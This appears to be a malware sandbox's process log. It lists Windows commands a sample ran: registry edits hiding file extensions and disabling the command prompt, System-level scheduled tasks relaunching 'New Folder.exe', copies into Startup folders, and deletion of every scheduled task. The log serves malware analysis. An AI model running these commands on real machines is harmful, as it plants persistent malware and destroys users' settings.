C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoFolderOptions" /t REG_DWORD /d 0 /f4⤵PID:4016
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f4⤵PID:640
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Policies\Microsoft\Windows\System" /v "DisableCMD" /t REG_DWORD /d 1 /f4⤵PID:4088
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f4⤵PID:744
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderw" /tr "C:\bg1\New Folder.exe" /sc weekly /mo 1 /ru "System"4⤵PID:372
-
-
C:\Windows\SysWOW64\at.exeat 6:10am msg * Sembahyang Subuh...4⤵PID:4744
-
-
C:\Windows\SysWOW64\at.exeat 7:25pm msg * Sembahyang Maghrib...4⤵PID:3616
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Windows\bg1\" /h /c /y /i4⤵PID:4500
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"4⤵PID:4400
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:3860
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\bg1\" /h /c /y /i4⤵PID:2404
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:1472
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:3512
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f4⤵PID:1840
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "C:\Windows\bg1\New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:4592
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoFolderOptions" /t REG_DWORD /d 0 /f4⤵PID:1300
-
-
C:\Windows\SysWOW64\at.exeat /delete /yes4⤵PID:2344
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderh" /tr "C:\bg1\New Folder.exe" /sc hourly /mo 1 /ru "System"4⤵PID:4504
-
-
C:\Windows\SysWOW64\at.exeat 1:20pm /every:F msg * Sembahyang Jumaat...( lelaki je )4⤵PID:2096
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"4⤵PID:2192
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:3928
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\bg1\" /h /c /y /i4⤵PID:4996
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:3644
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Policies\Microsoft\Windows\System" /v "DisableCMD" /t REG_DWORD /d 1 /f4⤵PID:2176
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /delete /tn * /f4⤵PID:2108
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderm" /tr "C:\bg1\New Folder.exe" /sc minute /mo 5 /ru "System"4⤵PID:4528
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderd" /tr "C:\bg1\New Folder.exe" /sc daily /mo 1 /ru "System"4⤵PID:1088
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderw" /tr "C:\bg1\New Folder.exe" /sc weekly /mo 1 /ru "System"4⤵PID:4676
-
-
C:\Windows\SysWOW64\at.exeat 1:35pm msg * Sembahyang Zuhur...4⤵PID:4732
-
-
C:\Windows\SysWOW64\at.exeat 1:20pm /every:F msg * Sembahyang Jumaat...( lelaki je )4⤵PID:2120
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:1316
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"4⤵PID:1620
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:2116
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Windows\bg1\" /h /c /y /i4⤵PID:4920
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Policies\Microsoft\Windows\System" /v "DisableCMD" /t REG_DWORD /d 1 /f4⤵PID:2996
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /delete /tn * /f4⤵PID:768
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderd" /tr "C:\bg1\New Folder.exe" /sc daily /mo 1 /ru "System"4⤵PID:3196
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "AUTO" /tr "C:\AUTOEXEC.BAT" /sc minute /mo 3 /ru "System"4⤵PID:2648
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Windows\bg1\" /h /c /y /i4⤵PID:3664
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"4⤵PID:1420
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:944
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\bg1\" /h /c /y /i4⤵PID:2948
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:1292
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "ShowSuperHidden" /t REG_DWORD /d 0 /f4⤵PID:4680
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoFolderOptions" /t REG_DWORD /d 0 /f4⤵PID:4460
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /delete /tn * /f4⤵PID:4400
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderh" /tr "C:\bg1\New Folder.exe" /sc hourly /mo 1 /ru "System"4⤵PID:3620
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderw" /tr "C:\bg1\New Folder.exe" /sc weekly /mo 1 /ru "System"4⤵PID:1892
-
-
C:\Windows\SysWOW64\at.exeat 1:35pm msg * Sembahyang Zuhur...4⤵PID:4364
-
-
C:\Windows\SysWOW64\at.exeat 1:20pm /every:F msg * Sembahyang Jumaat...( lelaki je )4⤵PID:2156
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"4⤵PID:3968
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:2108
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\bg1\" /h /c /y /i4⤵PID:2216
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:4736
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Windows\bg1\" /h /c /y /i4⤵PID:3892
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\bg1\" /h /c /y /i4⤵PID:4348
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f4⤵PID:3148
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /delete /tn * /f4⤵PID:632
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderm" /tr "C:\bg1\New Folder.exe" /sc minute /mo 5 /ru "System"4⤵
- Creates scheduled task(s)
PID:3424
-
-
C:\Windows\SysWOW64\at.exeat 6:10am msg * Sembahyang Subuh...4⤵PID:1124
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "AUTO" /tr "C:\AUTOEXEC.BAT" /sc minute /mo 3 /ru "System"4⤵PID:2192
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderw" /tr "C:\bg1\New Folder.exe" /sc weekly /mo 1 /ru "System"4⤵PID:1188
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderd" /tr "C:\bg1\New Folder.exe" /sc daily /mo 1 /ru "System"4⤵PID:2780
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:436
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"4⤵PID:240
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:4488
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\bg1\" /h /c /y /i4⤵PID:800
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:3084
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Policies\Microsoft\Windows\System" /v "DisableCMD" /t REG_DWORD /d 1 /f4⤵PID:640
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /delete /tn * /f4⤵PID:2212
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderm" /tr "C:\bg1\New Folder.exe" /sc minute /mo 5 /ru "System"4⤵PID:4860
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "AUTO" /tr "C:\AUTOEXEC.BAT" /sc minute /mo 3 /ru "System"4⤵PID:3644
-
-
C:\Windows\SysWOW64\at.exeat 1:35pm msg * Sembahyang Zuhur...4⤵PID:4028
-
-
C:\Windows\SysWOW64\at.exeat 8:40pm msg * Sembahyang Isyak...4⤵PID:4572
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"4⤵PID:2620
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:4588
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\bg1\" /h /c /y /i4⤵PID:4680
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:948
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Windows\bg1\" /h /c /y /i4⤵PID:1288
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /delete /tn * /f4⤵PID:2948
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderm" /tr "C:\bg1\New Folder.exe" /sc minute /mo 5 /ru "System"4⤵PID:4088
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderd" /tr "C:\bg1\New Folder.exe" /sc daily /mo 1 /ru "System"4⤵PID:4504
-
-
C:\Windows\SysWOW64\at.exeat 6:10am msg * Sembahyang Subuh...4⤵PID:2120
-
-
C:\Windows\SysWOW64\at.exeat 8:40pm msg * Sembahyang Isyak...4⤵PID:2212
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:372
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"4⤵PID:3616
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:4564
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\bg1\" /h /c /y /i4⤵PID:3644
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\bg1\" /h /c /y /i4⤵PID:1780
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:4308
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:608
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Windows\bg1\" /h /c /y /i4⤵PID:644
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s +h "C:\AUTOEXEC.BAT"4⤵PID:1152
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Windows\bg1\" /h /c /y /i4⤵PID:2740
-
-
C:\Windows\SysWOW64\at.exeat 1:20pm /every:F msg * Sembahyang Jumaat...( lelaki je )4⤵PID:1620
-
-
C:\Windows\SysWOW64\at.exeat 7:25pm msg * Sembahyang Maghrib...4⤵PID:4212
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoFolderOptions" /t REG_DWORD /d 0 /f4⤵PID:4516
-
-
C:\Windows\SysWOW64\at.exeat /delete /yes4⤵PID:2484
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderh" /tr "C:\bg1\New Folder.exe" /sc hourly /mo 1 /ru "System"4⤵PID:1840
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderw" /tr "C:\bg1\New Folder.exe" /sc weekly /mo 1 /ru "System"4⤵PID:3664
-
-
C:\Windows\SysWOW64\at.exeat 1:35pm msg * Sembahyang Zuhur...4⤵PID:1764
-
-
C:\Windows\SysWOW64\at.exeat 8:40pm msg * Sembahyang Isyak...4⤵PID:4880
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:2936
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\bg1\" /h /c /y /i4⤵PID:1316
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Windows\bg1\" /h /c /y /i4⤵PID:664
-
-
C:\Windows\SysWOW64\at.exeat 1:20pm /every:F msg * Sembahyang Jumaat...( lelaki je )4⤵PID:4692
-
-
C:\Windows\SysWOW64\at.exeat 7:25pm msg * Sembahyang Maghrib...4⤵PID:1972
-
-
C:\Windows\SysWOW64\at.exeat 4:50pm msg * Sembahyang Asar...4⤵PID:2948
-
-
C:\Windows\SysWOW64\at.exeat 6:10am msg * Sembahyang Subuh...4⤵PID:2064
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "AUTO" /tr "C:\AUTOEXEC.BAT" /sc minute /mo 3 /ru "System"4⤵
- Modifies visibility of file extensions in Explorer
PID:744
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderd" /tr "C:\bg1\New Folder.exe" /sc daily /mo 1 /ru "System"4⤵PID:1128
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderm" /tr "C:\bg1\New Folder.exe" /sc minute /mo 5 /ru "System"4⤵PID:2108
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /delete /tn * /f4⤵PID:3008
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "C:\Windows\bg1\New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:2176
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "ShowSuperHidden" /t REG_DWORD /d 0 /f4⤵PID:3892
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f4⤵PID:240
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Policies\Microsoft\Windows\System" /v "DisableCMD" /t REG_DWORD /d 1 /f4⤵PID:3196
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f4⤵PID:5092
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\RegEdt32\Settings" /v "SaveSettings" /t REG_SZ /d 1 /f4⤵PID:3080
-
-
C:\Windows\SysWOW64\at.exeat 4:50pm msg * Sembahyang Asar...4⤵PID:4092
-
-
C:\Windows\SysWOW64\at.exeat 1:35pm msg * Sembahyang Zuhur...4⤵PID:1420
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "AUTO" /tr "C:\AUTOEXEC.BAT" /sc minute /mo 3 /ru "System"4⤵PID:4016
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderw" /tr "C:\bg1\New Folder.exe" /sc weekly /mo 1 /ru "System"4⤵PID:2936
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderh" /tr "C:\bg1\New Folder.exe" /sc hourly /mo 1 /ru "System"4⤵
- Creates scheduled task(s)
PID:3452
-
-
C:\Windows\SysWOW64\at.exeat /delete /yes4⤵PID:1972
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "C:\Windows\bg1\New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:2220
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoFolderOptions" /t REG_DWORD /d 0 /f4⤵PID:5080
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "ShowSuperHidden" /t REG_DWORD /d 0 /f4⤵PID:1340
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f4⤵PID:2956
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Policies\Microsoft\Windows\System" /v "DisableCMD" /t REG_DWORD /d 1 /f4⤵PID:1840
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f4⤵PID:2108
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\RegEdt32\Settings" /v "SaveSettings" /t REG_SZ /d 1 /f4⤵PID:2484
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:4736
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\bg1\" /h /c /y /i4⤵PID:4284
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:4368
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Windows\bg1\" /h /c /y /i4⤵PID:3892
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s +h "C:\AUTOEXEC.BAT"4⤵PID:2176
-
-
C:\Windows\SysWOW64\at.exeat 1:20pm /every:F msg * Sembahyang Jumaat...( lelaki je )4⤵PID:3888
-
-
C:\Windows\SysWOW64\at.exeat 7:25pm msg * Sembahyang Maghrib...4⤵PID:32
-
-
C:\Windows\SysWOW64\at.exeat 4:50pm msg * Sembahyang Asar...4⤵PID:3648
-
-
C:\Windows\SysWOW64\at.exeat 6:10am msg * Sembahyang Subuh...4⤵PID:4564
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderw" /tr "C:\bg1\New Folder.exe" /sc weekly /mo 1 /ru "System"4⤵PID:1352
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderd" /tr "C:\bg1\New Folder.exe" /sc daily /mo 1 /ru "System"4⤵PID:372
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderh" /tr "C:\bg1\New Folder.exe" /sc hourly /mo 1 /ru "System"4⤵PID:3368
-
-
C:\Windows\SysWOW64\at.exeat /delete /yes4⤵PID:4276
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "C:\Windows\bg1\New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:2060
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoFolderOptions" /t REG_DWORD /d 0 /f4⤵PID:4812
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "ShowSuperHidden" /t REG_DWORD /d 0 /f4⤵PID:2736
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f4⤵PID:1796
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f4⤵PID:3588
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\RegEdt32\Settings" /v "SaveSettings" /t REG_SZ /d 1 /f4⤵PID:2928
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:4692
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\bg1\" /h /c /y /i4⤵PID:4732
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Windows\bg1\" /h /c /y /i4⤵PID:2480
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s +h "C:\AUTOEXEC.BAT"4⤵PID:4592
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Windows\bg1\" /h /c /y /i4⤵PID:1676
-
-
C:\Windows\SysWOW64\at.exeat 1:20pm /every:F msg * Sembahyang Jumaat...( lelaki je )4⤵PID:4416
-
-
C:\Windows\SysWOW64\at.exeat 8:40pm msg * Sembahyang Isyak...4⤵PID:4512
-
-
C:\Windows\SysWOW64\at.exeat 7:25pm msg * Sembahyang Maghrib...4⤵PID:2620
-
-
C:\Windows\SysWOW64\at.exeat 4:50pm msg * Sembahyang Asar...4⤵PID:4136
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"4⤵
- Views/modifies file attributes
PID:4728
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:4092
-
-
C:\Windows\SysWOW64\at.exeat 1:35pm msg * Sembahyang Zuhur...4⤵PID:4920
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderh" /tr "C:\bg1\New Folder.exe" /sc hourly /mo 1 /ru "System"4⤵PID:2644
-
-
C:\Windows\SysWOW64\at.exeat /delete /yes4⤵PID:628
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "C:\Windows\bg1\New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:3648
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoFolderOptions" /t REG_DWORD /d 0 /f4⤵PID:4028
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "ShowSuperHidden" /t REG_DWORD /d 0 /f4⤵PID:4756
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Policies\Microsoft\Windows\System" /v "DisableCMD" /t REG_DWORD /d 1 /f4⤵PID:1536
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f4⤵PID:5012
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\RegEdt32\Settings" /v "SaveSettings" /t REG_SZ /d 1 /f4⤵PID:1620
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:2116
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:3288
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Windows\bg1\" /h /c /y /i4⤵PID:1500
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s +h "C:\AUTOEXEC.BAT"4⤵PID:1844
-
-
C:\Windows\SysWOW64\at.exeat 8:40pm msg * Sembahyang Isyak...4⤵PID:3080
-
-
C:\Windows\SysWOW64\at.exeat 7:25pm msg * Sembahyang Maghrib...4⤵PID:768
-
-
C:\Windows\SysWOW64\at.exeat 4:50pm msg * Sembahyang Asar...4⤵PID:240
-
-
C:\Windows\SysWOW64\at.exeat 6:10am msg * Sembahyang Subuh...4⤵PID:4476
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "AUTO" /tr "C:\AUTOEXEC.BAT" /sc minute /mo 3 /ru "System"4⤵PID:3640
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderd" /tr "C:\bg1\New Folder.exe" /sc daily /mo 1 /ru "System"4⤵PID:3808
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderm" /tr "C:\bg1\New Folder.exe" /sc minute /mo 5 /ru "System"4⤵PID:1020
-
-
C:\Windows\SysWOW64\at.exeat /delete /yes4⤵PID:3860
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "C:\Windows\bg1\New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:4588
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f4⤵PID:1348
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Policies\Microsoft\Windows\System" /v "DisableCMD" /t REG_DWORD /d 1 /f4⤵PID:4988
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f4⤵PID:948
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\RegEdt32\Settings" /v "SaveSettings" /t REG_SZ /d 1 /f4⤵PID:1288
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\bg1\" /h /c /y /i4⤵PID:3616
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:2944
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Windows\bg1\" /h /c /y /i4⤵PID:632
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s +h "C:\AUTOEXEC.BAT"4⤵PID:4604
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:1088
-
-
C:\Windows\SysWOW64\at.exeat 1:20pm /every:F msg * Sembahyang Jumaat...( lelaki je )4⤵PID:1340
-
-
C:\Windows\SysWOW64\at.exeat 8:40pm msg * Sembahyang Isyak...4⤵PID:3144
-
-
C:\Windows\SysWOW64\at.exeat 7:25pm msg * Sembahyang Maghrib...4⤵PID:1108
-
-
C:\Windows\SysWOW64\at.exeat 4:50pm msg * Sembahyang Asar...4⤵PID:5092
-
-
C:\Windows\SysWOW64\at.exeat 1:35pm msg * Sembahyang Zuhur...4⤵PID:4188
-
-
C:\Windows\SysWOW64\at.exeat 6:10am msg * Sembahyang Subuh...4⤵PID:4320
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderw" /tr "C:\bg1\New Folder.exe" /sc weekly /mo 1 /ru "System"4⤵PID:4736
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderh" /tr "C:\bg1\New Folder.exe" /sc hourly /mo 1 /ru "System"4⤵PID:3892
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderm" /tr "C:\bg1\New Folder.exe" /sc minute /mo 5 /ru "System"4⤵PID:2156
-
-
C:\Windows\SysWOW64\at.exeat /delete /yes4⤵PID:1780
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "C:\Windows\bg1\New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:3380
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoFolderOptions" /t REG_DWORD /d 0 /f4⤵PID:4364
